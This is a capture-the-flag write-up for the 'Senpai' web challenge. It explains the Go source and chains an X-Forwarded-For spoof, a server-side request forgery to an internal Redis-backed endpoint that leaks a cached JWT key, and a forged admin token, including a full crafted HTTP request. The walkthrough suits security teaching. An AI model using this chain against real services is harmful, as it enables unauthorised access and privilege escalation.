Senpai

Rin or Sakura? http://chals.ctf.sg:40201 author: Gladiator

Authentication Logic

The end-goal, of course, is to get to /flag, but there is a role attribute in the JWT token that we must change to admin in order to pass the IsAdmin check.

func flagHandler(w http.ResponseWriter, r *http.Request) {
	config.SetupResponse(&w, r)
	role, _ := config.GetTokenRole(r)
	username, err := config.GetTokenUsername(r)
	if err != nil {
		http.Error(w, "An error has occured", http.StatusBadRequest)
		return
	}
	user, _ := data.GetUser(username)
	if (config.TokenValid(r, user.Otp)) == nil {
		if config.IsAdmin(role) {
			fmt.Fprint(w, logic.Flagger())
		}
		return
	}
	return
}

Let's look at the registration and login flow. This time, it seems like user.Otp is actually the JWT key - each user's key would be different!

func newJWTUserKey() string {
	partOne := strings.Replace(config.GenUUID(), "-", "", -1)
	partTwo := strings.Replace(config.GenUUID(), "-", "", -1)
	partThree := strings.Replace(config.GenUUID(), "-", "", -1)
	newOTP := partOne + partTwo + partThree
	return newOTP
}

func Register(account data.RegisterAccount) bool {
	var newAccount data.UserAccount
	newAccount.Username = account.Username
	newAccount.Password = account.Password
	newOTP := newJWTUserKey()
	newAccount.Otp = newOTP
	newAccount.Verified = "true"
	return data.InsertUser(&newAccount)
}

The JWT key is then used to sign the token when we log in.

func loginHandler(w http.ResponseWriter, r *http.Request) {
	config.SetupResponse(&w, r)
	var login data.UserAccount
	err := json.NewDecoder(r.Body).Decode(&login)
	if err != nil {
		http.Error(w, err.Error(), http.StatusBadRequest)
		return
	}
	state, jwtKet := logic.Login(login)
	if state == false {
		http.Error(w, "Account does not exists, or account credentials are wrong", http.StatusBadRequest)
		return
	}
	token, _ := config.CreateToken(login.Username, jwtKet)
	fmt.Fprint(w, "Account logged in, your token is: "+token)
}

What's interesting, though, is that there is a caching mechanism that stores each user's JWT key in a Redis cache after logging in. Presumably, in real-world applications such a caching mechanism would save time in performing database lookups each time JWT authentication occurs.

func Login(account data.UserAccount) (bool, string) {
	var user *data.UserAccount
	user, _ = data.GetUser(account.Username)
	if user == nil {
		return false, ""
	}
	if config.CheckPasswordHash(account.Password, user.Password) == false {
		return false, ""
	}
	if user.Verified == "false" {
		return false, ""
	}
	cache.Set(user.Username, user.Otp, 999999999999)
	return true, user.Otp
}

Sidenote: the key is only stored for two seconds, so we have to be quick here!

func Set(key string, jwtkey string, exp int) error {
	client := redis.NewClient(&redis.Options{
		Addr:     "localhost:6379",
		Password: "",
		DB:       0,
	})
	err := client.Set(key, jwtkey, time.Second*2).Err()
	if err != nil {
		return err
	}
	return nil

}

SSRF and Obtaining Cached Secrets

There exists a non-admin path, /sakura that does allow us to interact with the Redis cache.

func sakuraeHandler(w http.ResponseWriter, r *http.Request) {
	config.SetupResponse(&w, r)
	output := logic.CacheHelper(r)
	fmt.Fprint(w, output)
	return
}

However, we could see in the cache-fetching mechanism that the client URL is validated to be 127.0.0.1.

func IsLocal(ip string) bool {
	return ip == "127.0.0.1"
}

func CacheHelper(r *http.Request) string {
	ip, _ := remoteaddr.Parse().IP(r)
	if !config.IsLocal(ip) {
		return "I get older but your lovers stay my age."
	}
	result, err := cache.Get(r.URL.Query().Get("key"))
	if err != nil {
		return ""
	}
	return result
}

That leaves us with /rin. The handler logic presents us with the all-too-familiar SSRF code:

func HeavensFeel(r *http.Request) http.Response {
	val := config.Process(r)
	if val == "" {
		return http.Response{Status: "500 Internal Server Error", StatusCode: 500, Body: nil}
	}
	resp, err := http.Get(val)
	if err != nil {
		return http.Response{Status: "500 Internal Server Error", StatusCode: 500, Body: nil}
	}
	return *resp
}

Again, the client IP is checked. But this time, the logic is slightly different. Instead of using remoteaddr.Parse().IP(r), the server is directly looking at the X-Forwarded-For header!

var local string = "X-Forwarded-For"

...

func GetIP(r *http.Request) string {
	return r.Header.Get(local)
}

...

func Process(r *http.Request) string {
	if IsLocal(GetIP(r)) {
		return r.URL.Query().Get("url")
	}
	return ""
}

By adding X-Forwarded-For: 127.0.0.1, we can access this function and perform an SSRF to the /sakura endpoint.

POST /rin?url=http://localhost:8081/sakura?key=socengexp HTTP/1.1
Host: chals.ctf.sg:40201
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE2NDcyNDI0NDIsInJvbGUiOiJ1c2VyIiwidXNlcm5hbWUiOiJzb2NlbmdleHAifQ.Y56UmyxoibdVHxvFjN03GI_RXeIgVBl76pQZDmih6Mo
X-Forwarded-For: 127.0.0.1

As mentioned earlier, the cached secret only exists for 2 seconds after logging in, so we must make the above request right after logging in.

Gaining the Admin Role

When we have the JWT secret, we could essentially craft any JWT attributes we want.

Using https://jwt.io/ (or any JWT-signing library), supply the JWT secret and change the role to admin. We now have a new JWT token with an admin role.

Using this new JWT token, simply make a request to /flag to get the flag!

The flag is CTFSG{Rin_Tohsaka_Best_Girl_uwu}.